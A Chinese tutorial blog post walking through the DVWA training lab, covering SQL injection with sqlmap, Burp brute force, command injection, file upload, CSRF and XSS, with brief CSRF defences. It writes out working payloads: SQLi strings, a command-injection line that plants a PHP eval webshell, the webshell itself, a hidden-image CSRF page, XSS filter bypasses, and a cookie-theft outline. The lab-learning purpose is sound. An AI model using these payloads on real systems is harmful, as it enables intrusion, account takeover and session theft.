渗透测试基础——DVWA靶场实战

目录

SQL-INJECTION

low

medium

high

impossible

sqlmap

low:

medium

high

其他

Brute Force(暴力破解)

low

抓包

send to intruder->clear->add爆破对象

attack type:攻击模式设置

medium

high

解决->递归提取:

command injection

low

medium

high

文件上传

low

medium

high

csrf(跨站请求伪造)

low

medium

high

csrf防御:

XSS(跨站脚本攻击)

反射型

low

medium

high

存储型

low

medium

high


SQL-INJECTION

low

输入1,2都正常显示,这关对id没有任何过滤

判断注入点:单引号闭合

$sql="select * from users where username='$name' and password='$pwd'";
1' and 1=1#

等价于select * from users where username='1' and 1=1#' and password=xxx

查询结果为id为1的用户

1' or 1=1#

等价于select * from users where username='1' or 1=1# ' and password=xxx

=>select * from users

作用:爆出表中的所有字段

数据库名:

表名:

列名:

字段值(md5加密的):

medium

判断字段数:

表名:

语法错误,猜测是否单引号的问题呢,由于MySQL默认支持16进制编解码,故对users进行16进制编码

字段值:

high

同上

查看源代码会发现有limit限制只能输出一条,主要是为了防止SQLmap注入。

impossible

sqlmap

low:

python环境部署

安装sqlmapsqlmap: automatic SQL injection and database takeover tool

使用low sql-injection

sqlmap.py -u URL //GET类型注入的必备参数

出现302重定向返回登陆界面,证明这个页面需要cookie->

复制数据包中的cookie->--cookie=""

  • --batch默认回答

  • --dbs查看所有数据库名称

结果如图:

  • --current-db查看当前数据库名称

表信息-D dvwa --tables

列信息-D dvwa -T users --columns

字段:-D dvwa -T users -C user,password --dump(dump显示解密后结果)

会自动下载到本地是一个excel文件

medium

将数据包创建成文件放到sqlmap里

sqlmap读取文件:

sqlmap.py -r 1.txt --batch

之后同上

high

!跨页面

同上抓包创建文件读取文件,将文件与前面页面连接起来

sqlmap.py -r 1.txt --batch  --second-url "http://192.168.213.1/dvwa/vulnerabilities/sqli/" --dbs

之后查询同上

其他

  • --flush--sessionsqlmap在测试某一目标URL后会生成session文件,该文件保存了本次测试的结果信息。当我们再次测试该目标URL时,会自动加载上一次的结果

  • --dbms 数据库名(指定)

  • --technique 注入类型选项

  • -p 注入点(指定需要测试的注入点)

  • 高阶用法:

Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为 1)

Target: At least one of these options has to be provided to define the target(s)

-u URL, --url=URL   目标URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT           用于直接数据库连接的连接字符串
-l LOGFILE          从Burp或WebScarab代理日志文件中解析目标
-m BULKFILE         从文本文件中扫描多个目标
-r REQUESTFILE      从文件中加载HTTP请求
-g GOOGLEDORK       将Google dork结果处理为目标URL
-c CONFIGFILE       从配置INI文件中加载选项

请求: 这些选项可用于指定如何连接到目标URL

-A AGENT, --user..  HTTP User-Agent头部的值
-H HEADER, --hea..  额外的头部(例如"X-Forwarded-For: 127.0.0.1")
--method=METHOD     强制使用给定的HTTP方法(例如PUT)
--data=DATA         要通过POST发送的数据字符串(例如"id=1")
--param-del=PARA..  用于分割参数值的字符(例如&)
--cookie=COOKIE     HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..")
--cookie-del=COO..  用于分割cookie值的字符(例如;)
--live-cookies=L..  用于加载最新值的实时cookie文件
--load-cookies=L..  包含Netscape/wget格式cookie的文件
--drop-set-cookie   忽略响应中的Set-Cookie头部
--mobile            通过HTTP User-Agent头部模拟智能手机
--random-agent      使用随机选择的HTTP User-Agent头部值
--host=HOST         HTTP Host头部的值
--referer=REFERER   HTTP Referer头部的值
--headers=HEADERS   额外的头部(例如"Accept-Language: fr\nETag: 123")
--auth-type=AUTH..  HTTP身份验证类型(Basic,Digest,Bearer等)
--auth-cred=AUTH..  HTTP身份验证凭据(用户名:密码)
--auth-file=AUTH..  HTTP身份验证PEM证书/私钥文件
--abort-code=ABO..  在(有问题的)HTTP错误代码上中止(例如401)
--ignore-code=IG..  忽略(有问题的)HTTP错误代码(例如401)
--ignore-proxy      忽略系统默认代理设置
--ignore-redirects  忽略重定向尝试
--ignore-timeouts   忽略连接超时
--proxy=PROXY       使用代理连接到目标URL
--proxy-cred=PRO..  代理身份验证凭据(用户名:密码)
--proxy-file=PRO..  从文件中加载代理列表
--proxy-freq=PRO..  在给定列表中更改代理之间的请求次数
--tor               使用Tor匿名网络
--tor-port=TORPORT  设置Tor代理端口(非默认值)
--tor-type=TORTYPE  设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认))
--check-tor         检查Tor是否正确使用
--delay=DELAY       每个HTTP请求之间的延迟时间(秒)
--timeout=TIMEOUT   连接超时前等待的秒数(默认值30)
--retries=RETRIES   连接超时时的重试次数(默认值3)
--retry-on=RETRYON  在正则表达式匹配内容时重试请求(例如"drop")
--randomize=RPARAM  随机更改给定参数的值
--safe-url=SAFEURL  在测试期间频繁访问的URL地址
--safe-post=SAFE..  发送到安全URL的POST数据
--safe-req=SAFER..  从文件中加载安全的HTTP请求
--safe-freq=SAFE..  在访问安全URL之间的常规请求次数
--skip-urlencode    跳过对负载数据的URL编码
--csrf-token=CSR..  用于保存反CSRF令牌的参数
--csrf-url=CSRFURL  用于提取反CSRF令牌的URL地址
--csrf-method=CS..  在访问反CSRF令牌页面时使用的HTTP方法
--csrf-data=CSRF..  在访问反CSRF令牌页面时发送的POST数据
--csrf-retries=C..  反CSRF令牌检索的重试次数(默认值0)
--force-ssl         强制使用SSL/HTTPS
--chunked           使用HTTP分块传输编码(POST)请求
--hpp               使用HTTP参数污染方法
--eval=EVALCODE     在请求之前评估提供的Python代码(例如"import
                    hashlib;id2=hashlib.md5(id).hexdigest()")

优化: 这些选项可用于优化sqlmap的性能

-o                  打开所有优化开关
--predict-output    预测常见查询的输出
--keep-alive        使用持久的HTTP(s)连接
--null-connection   在没有实际HTTP响应体的情况下获取页面长度
--threads=THREADS   最大并发HTTP(s)请求数(默认值1)

注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本

-p TESTPARAMETER    可测试的参数
--skip=SKIP         跳过对给定参数的测试
--skip-static       跳过不显示为动态的参数的测试
--param-exclude=..  用于排除测试的参数的正则表达式(例如"ses")
--param-filter=P..  按位置选择可测试的参数(例如"POST")
--dbms=DBMS         强制指定后端DBMS的值
--dbms-cred=DBMS..  DBMS身份验证凭据(用户名:密码)
--os=OS             强制指定后端DBMS的操作系统
--invalid-bignum    使用大数来使值无效
--invalid-logical   使用逻辑操作使值无效
--invalid-string    使用随机字符串使值无效
--no-cast           关闭载荷转换机制
--no-escape         关闭字符串转义机制
--prefix=PREFIX     注入载荷前缀字符串
--suffix=SUFFIX     注入载荷后缀字符串
--tamper=TAMPER     使用给定的脚本对注入数据进行篡改

检测: 这些选项可用于自定义检测阶段

--level=LEVEL       要执行的测试级别(1-5,默认值1)
--risk=RISK         要执行的测试风险级别(1-3,默认值1)
--string=STRING     当查询评估为True时要匹配的字符串
--not-string=NOT..  当查询评估为False时要匹配的字符串
--regexp=REGEXP     当查询评估为True时要匹配的正则表达式
--code=CODE         当查询评估为True时要匹配的HTTP代码
--smart             仅在存在正面启发式时执行彻底的测试
--text-only         仅基于文本内容比较页面
--titles            仅基于页面标题比较页面

技术: 这些选项可用于调整特定SQL注入技术的测试

--technique=TECH..  要使用的SQL注入技术(默认值"BEUSTQ")
--time-sec=TIMESEC  延迟DBMS响应的秒数(默认值5)
--union-cols=UCOLS  要测试UNION查询SQL注入的列范围
--union-char=UCHAR  用于暴力破解列数的字符
--union-from=UFROM  在UNION查询SQL注入的FROM部分中使用的表
--union-values=U..  用于UNION查询SQL注入的列值
--dns-domain=DNS..  用于DNS泄露攻击的域名
--second-url=SEC..  搜索第二次响应的结果页面URL
--second-req=SEC..  从文件中加载第二次HTTP请求

指纹识别: -f, --fingerprint 执行详细的DBMS版本指纹识别

枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据

-a, --all           检索所有内容
-b, --banner        检索DBMS横幅
--current-user      检索DBMS当前用户
--current-db        检索DBMS当前数据库
--hostname          检索DBMS服务器主机名
--is-dba            检测DBMS当前用户是否为DBA
--users             枚举DBMS用户
--passwords         枚举DBMS用户密码哈希值
--privileges        枚举DBMS用户权限
--roles             枚举DBMS用户角色
--dbs               枚举DBMS数据库
--tables            枚举DBMS数据库表
--columns           枚举DBMS数据库表列
--schema            枚举DBMS模式
--count             检索表的条目数
--dump              转储DBMS数据库表条目
--dump-all          转储所有DBMS数据库表条目
--search            搜索列、表和/或数据库名称
--comments          在枚举过程中检查DBMS注释
--statements        检索在DBMS上运行的SQL语句
-D DB               要枚举的DBMS数据库
-T TBL              要枚举的DBMS数据库表
-C COL              要枚举的DBMS数据库表列
-X EXCLUDE          不要枚举的DBMS数据库标识符
-U USER             要枚举的DBMS用户
--exclude-sysdbs    在枚举表时排除DBMS系统数据库
--pivot-column=P..  枢轴列名称
--where=DUMPWHERE   在转储表时使用WHERE条件
--start=LIMITSTART  要检索的第一个转储表条目
--stop=LIMITSTOP    要检索的最后一个转储表条目
--first=FIRSTCHAR   要检索的第一个查询输出单词字符
--last=LASTCHAR     要检索的最后一个查询输出单词字符
--sql-query=SQLQ..  要执行的SQL语句
--sql-shell         提示进行交互式SQL shell
--sql-file=SQLFILE  从给定文件中执行SQL语句

暴力破解: 这些选项可用于运行暴力破解检查

--common-tables     检查常见表的存在
--common-columns    检查常见列的存在
--common-files      检查常见文件的存在

用户定义函数注入: 这些选项可用于创建自定义的用户定义函数

--udf-inject        注入自定义的用户定义函数
--shared-lib=SHLIB  共享库的本地路径

文件系统访问: 这些选项可用于访问后端数据库管理系统的底层文件系统

--file-read=FILE..  从后端DBMS文件系统中读取文件
--file-write=FIL..  在后端DBMS文件系统上写入本地文件
--file-dest=FILE..  要写入的后端DBMS绝对文件路径

操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统

--os-cmd=OSCMD      执行操作系统命令
--os-shell          提示进行交互式操作系统shell
--os-pwn            提示进行OOB shell、Meterpreter或VNC
--os-smbrelay       一键提示进行OOB shell、Meterpreter或VNC
--os-bof            存储过程缓冲区溢出利用
--priv-esc          数据库进程用户权限提升
--msf-path=MSFPATH  Metasploit Framework安装的本地路径
--tmp-path=TMPPATH  临时文件目录的远程绝对路径

Windows注册表访问: 这些选项可用于访问后端数据库管理系统的Windows注册表

--reg-read          读取Windows注册表键值
--reg-add           写入Windows注册表键值数据
--reg-del           删除Windows注册表键值
--reg-key=REGKEY    Windows注册表键
--reg-value=REGVAL  Windows注册表键值
--reg-data=REGDATA  Windows注册表键值数据
--reg-type=REGTYPE  Windows注册表键值类型

常规: 这些选项可用于设置一些常规工作参数

-s SESSIONFILE      从存储的(.sqlite)文件中加载会话
-t TRAFFICFILE      将所有HTTP流量记录到文本文件中
--abort-on-empty    在结果为空时中止数据检索
--answers=ANSWERS   设置预定义的答案(例如"quit=N,follow=N")
--base64=BASE64P..  包含Base64编码数据的参数
--base64-safe       使用URL和文件名安全的Base64字母表(RFC 4648)
--batch             不要询问用户输入,使用默认行为
--binary-fields=..  具有二进制值的结果字段(例如"digest")
--check-internet    在评估目标之前检查互联网连接
--cleanup           从sqlmap特定的UDF和表中清理DBMS
--crawl=CRAWLDEPTH  从目标URL开始爬取网站
--crawl-exclude=..  用于排除爬取的页面的正则表达式(例如"logout")
--csv-del=CSVDEL    CSV输出中使用的分隔字符(默认值",")
--charset=CHARSET   盲SQL注入字符集(例如"0123456789abcdef")
--dump-file=DUMP..  将转储的数据存储到自定义文件中
--dump-format=DU..  转储数据的格式(CSV(默认值),HTML或SQLITE)
--eta               为每个输出显示预计到达时间
--flush-session     清除当前目标的会话文件
--forms             解析和测试目标URL上的表单
--fresh-queries     忽略会话文件中存储的查询结果
--gpage=GOOGLEPAGE  使用指定的页码从Google dork结果中获取
--har=HARFILE       将所有HTTP流量记录到HAR文件中
--hex               在数据检索过程中使用十六进制转换
--output-dir=OUT..  自定义输出目录路径
--parse-errors      解析和显示来自响应的DBMS错误消息
--preprocess=PRE..  用于预处理的给定脚本(请求)
--postprocess=PO..  用于后处理的给定脚本(响应)
--repair            重新转储具有未知字符标记(?)的条目
--save=SAVECONFIG   将选项保存到配置INI文件中
--scope=SCOPE       用于过滤目标的正则表达式
--skip-heuristics   跳过启发式检测漏洞
--skip-waf          跳过启发式检测WAF/IPS保护
--table-prefix=T..  用于临时表的前缀(默认值:"sqlmap")
--test-filter=TE..  通过负载和/或标题选择测试(例如ROW)
--test-skip=TEST..  通过负载和/或标题跳过测试(例如BENCHMARK)
--time-limit=TIM..  以秒为单位设置运行时间限制(例如3600)
--web-root=WEBROOT  Web服务器文档根目录(例如"/var/www")

杂项: 这些选项不属于任何其他类别

-z MNEMONICS        使用短助记符(例如"flu,bat,ban,tec=EU")
--alert=ALERT       在发现SQL注入时运行主机操作系统命令
--beep              在提问时和/或发现漏洞时发出蜂鸣声
--dependencies      检查缺失的(可选的)sqlmap依赖项
--disable-coloring  禁用控制台输出着色
--list-tampers      显示可用的篡改脚本列表
--no-logging        禁用日志记录到文件
--offline           在离线模式下工作(仅使用会话数据)
--purge             安全地从sqlmap数据目录中删除所有内容
--results-file=R..  多目标模式下CSV结果文件的位置
--shell             提示进行交互式sqlmap shell
--tmp-dir=TMPDIR    用于存储临时文件的本地目录
--unstable          调整不稳定连接的选项
--update            更新sqlmap
--wizard            面向初学者用户的简单向导界面

Brute Force(暴力破解)

low

抓包

send to intruder->clear->add爆破对象

攻击方式->集束炸弹(cluster bomb attack)->字典爆破->start attack

结果为admin,password

attack type:攻击模式设置
  • Sniper:对变量进行一次破解,多个标记依次进行。(用户名和密码用一套字典)

  • Battering ram:对变量同时破解,多个标记同时进行。(一个字典,但同时进行,速度更快)

  • Pitchfork:一个变量一个字典,取每个字典的对应项

  • Cluster bomb:一个变量一个字典,交际破解,尝试各种组合,时间长

medium

  • Medium爆破步骤跟low步骤相同,但相同的用户和密码字典,所需要的时间更长,但是也可以得出用户admin 密码password

  • 比较low和medium代码,medium多了一行代码sleep(2); 用户登陆失败后要休眠2秒

  • 所以爆破medium所需时间比low所需时间长

  • 分析源代码我们发现medium采用了符号转义,一定程度上防止了sql注入,采用暴力破解也可以完成

high

抓包发现页面代码里隐藏的token 参数,每次请求该页面后都会获得新的token,且有效性只有一次,每次请求登录提交用户名和密码时,都要带上页面提供的 token,防止重放爆破。所以我们要想爆破就必须先获得token 值再提交。(Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下,Token便应运而生。Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。)

状态码为200,再次点击,状态码改变,是由于服务器后端会对user_token进行检测。

解决->递归提取:

add变量password和token

设置token重定向

新建资源池,最大线程数设置为1->开始攻击

破解成功

command injection

命令注入就是在需要输入数据的地方输入了恶意代码,而且系统并没有对其进行过滤或者其他处理导致恶意代码也被执行,最终导致数据泄露或者正常数据被破坏。

常用到的命令:(总结来说就是系统操作命令DOS命令都可以在此执行试试)

ipconfig,net user(查看系统用户),dir(查看当前目录),find(查找包含指定字符的行),whoami(查看系统当前有效用户名)A&B(简单的拼接,AB之间无制约关系),A&&B(A执行成功才会执行B),A|B(A的输出作为B的输入),A||B(A执行失败,然后才会执行B)

low

127.0.0.1测试

127.0.0.1

本地回环地址 作用:

1、测试本机的网络配置:通过向 127.0.0.1 发送数据包,可以验证本机的 IP 协议安装是否正常。

2、代替 localhost :在操作系统的配置文件中,通常将 localhost(本地主机名)与 127.0.0.1 绑定在一起,这样在应用程序中使用 localhost 时,实际上是在使用本地回环地址,用于访问本机上运行的网络服务和应用程序。

修改编码形式

解决

写入一个名为shell.php的一句话木马文件

使用^符号进行转义(linux用\)

127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php

medium

对&&进行了转义

high

加入了token

文件上传

什么是文件上传漏洞?

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

要点:

(1)绕过题目的各种过滤手段成功上传文件并且不被删除; (2)确保文件可以正常运行; (3)确保文件可以执行命令。

一句话木马(webshell):

<?php @eval($_POST['attack']);?>

low

蚁剑连接

此时便可随意访问服务器上任意文件并进行操作

medium

上传失败

burp抓包png格式-》将抓取到的文件名后缀改为php

上传成功-》蚁剑连接

high

查看源码,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpeg” 、”.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。发现仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的。

添加文件头GIF89a

但是无法连接蚁剑

换另一种方法-》将木马隐藏在图片中绕过-》使用copy命令将木马文件和图片文件合并

csrf(跨站请求伪造)

csrf——跨站请求伪造,简单来说,就是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并进行一些非用户执行的操作。

要完成一次csef攻击,受害者需依次完成两个步骤:

  1. 登录受信任站点A,并在本地生成Cookie

  2. 在不登出A的情况下,访问攻击者网站B

原理:

1.用户认证:用户在目标网站上登录,比如银行网站,这时浏览器会保存一个会话标识符(如Session ID),通常是通过Cookie来存储的。 2.用户访问第三方网站:在没有从目标网站登出的情况下,用户访问了攻击者控制的第三方网站。 3.恶意请求:第三方网站包含了能够自动执行的代码(例如JavaScript、HTML表单等),这些代码会在用户不知情的情况下构造并发送一个针对目标网站的请求。由于用户的浏览器会自动将之前保存的与目标网站相关的Cookie(包括Session ID)附带在每一个发往该网站的请求中,所以这个请求会被目标网站认为是合法的、来自已认证用户的请求。 4.请求执行:如果目标网站没有适当的防护措施,那么这个由攻击者构造的请求将会被执行,可能导致非预期的操作,如转账、更改密码或其它敏感操作。

low

采用get方式直接提交新密码

构造url:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

登录dvwa浏览器未关闭,cookie未超时,那么点击这个连接时,出现如下界面密码就会被修改

链接修饰——短链接生成器https://monojson.com/s/x1ppQ

页面掩饰——构造一个攻击界面test.html,当用户点击服务器上的页面链接时,出现404页面,其实已经修改密码

<img src="https://monojson.com/s/x1ppQ"border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>

medium

referer字段为http请求header中的一段,它通常表示请求当前资源的客户端来源,在一定程度上,它可以防止盗链的威胁。

该判断是取出SERVER超全局变量中的“http中的referer字段”和“服务器中的主机名”,只要http_referer中包含服务器域名则执行if里的代码。

我们把地址栏抓到的数据包发送给重发器,把在页面数据包中的referer复制过来,然后查看结果

high

对token值做了验证,在每一次修改密码的时候,返回一个随机token值,进行校验。

可见请求头中含有token,我们将这个token带入之前伪造的html的地址中

登录成功

或者用xss得出token值,获取token方法:在存储型xss中随意输入name,(由于长度问题,要先打开开发者工具,将name的长度加长)

csrf防御:

1.通过CSRF-token或者验证码来检测用户提交

2.验证 Referer/Content-Type

3.对于用户修改删除等操作最好都使用POST操作

4.避免全站通用的Cookie,严格设置Cookie的域

XSS(跨站脚本攻击)

参考博客:渗透测试之DVWA-跨站脚本攻击(反射型)

跨站脚本攻击XSS,全称Cross Site Scripting,是指攻击者在有漏洞的Web页面中注入恶意的代码脚本,当受害者访问该页面时,恶意代码会在其浏览器上执行。XSS漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的。

通俗讲,让用户的浏览器去执行一些这个网页中原本不存在的前端代码。

危害:

  1. 盗取用户cookie

  2. 会话劫持

  3. 流量劫持

  4. 网页挂马

  5. DDos攻击

  6. 提权

反射型

参考博客:渗透测试之DVWA-跨站脚本攻击(存储型)

非持久性xss——攻击相对于访问者而言是一次性的。

具体表现就是恶意脚本通过URL的方式传递给了服务器,而服务器则只是不加处理的脚本“反射”回访者的浏览器而使访问者的浏览器执行响应的脚本。

也就是说想要触发漏洞,需要访问特定的链接才能够实现。

输入一段脚本语言

low

代码部分,无过滤机制,只检查是否为空

  • cookie反射:<script>alert(document.cookie)</script>

medium

  • 利用大小写绕过<Script>

  • 利用双写方式绕过:<scr<script>ipt>alert(1)</script>

high

使用preg_replace函数来清理用户输入,防止XSS攻击。这个正则表达式匹配任何包含<script>的字符串,并将其替换为空字符串。这样可以防止用户输入的脚本被浏览器执行。

  • 利用<img>标签绕过

<img>标签有个功能特性,当指定图片不存在时,执行onerror后面的代码

<img src='1' οnerrοr='alert(1)'>

  • 利用<onmousemove>标签绕过

<onmousemove>标签可以监控鼠标的移动,移动时执行代码

<a οnmοusemοve='alert(1)'>

如果服务器对代码中的关键字(比如alert)进行过滤的话,我们可以尝试将关键字进行编码后再插入。

我们可以用另一个语句eval()来实现,eval()会将编码过的语句解码后再执行。

alert经过Unicode编码后

\u0061\u006c\u0065\u0072\u0074

再结合img标签:

<img src='1' οnerrοr='eval(\u0061\u006c\u0065\u0072\u0074(1))'>

存储型

持久化,服务器在接收到我们的恶意脚本时会将其做一些处理,代码是存储在服务器中的。

极其危险,容易造成蠕虫和大量盗取cookie的现象。

而且这个过程一般而言只要用户访问这个界面就行了,不像反射型XSS,需要访问特定的URL。

low

对数据部分无任何检测,直接插入数据库

实现cookie盗取步骤:

  1. 攻击者搭建一个Web服务器,用来劫持流量的。

  2. 编写一个cookie.php页面,用来收录cookie信息

  3. 构造DVWA上面XSS漏洞的Payload

  4. 页面跳转,拿到cookie,利用cookie冒充用户进行登录

medium

图片

message过滤严格,对name只做了关键字过滤,name在web页面输入端对字数有限制,通过burp修改发送报文,同时用<Script>大小写绕过过滤

修改字符10->100

用burp抓包替换name:<ScRipt>alert(/xss/);</ScRipt>

high

Burpsuite抓包改name参数为<img src=1 onerror=alert(/xss/)>:

Forward后,成功弹窗

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值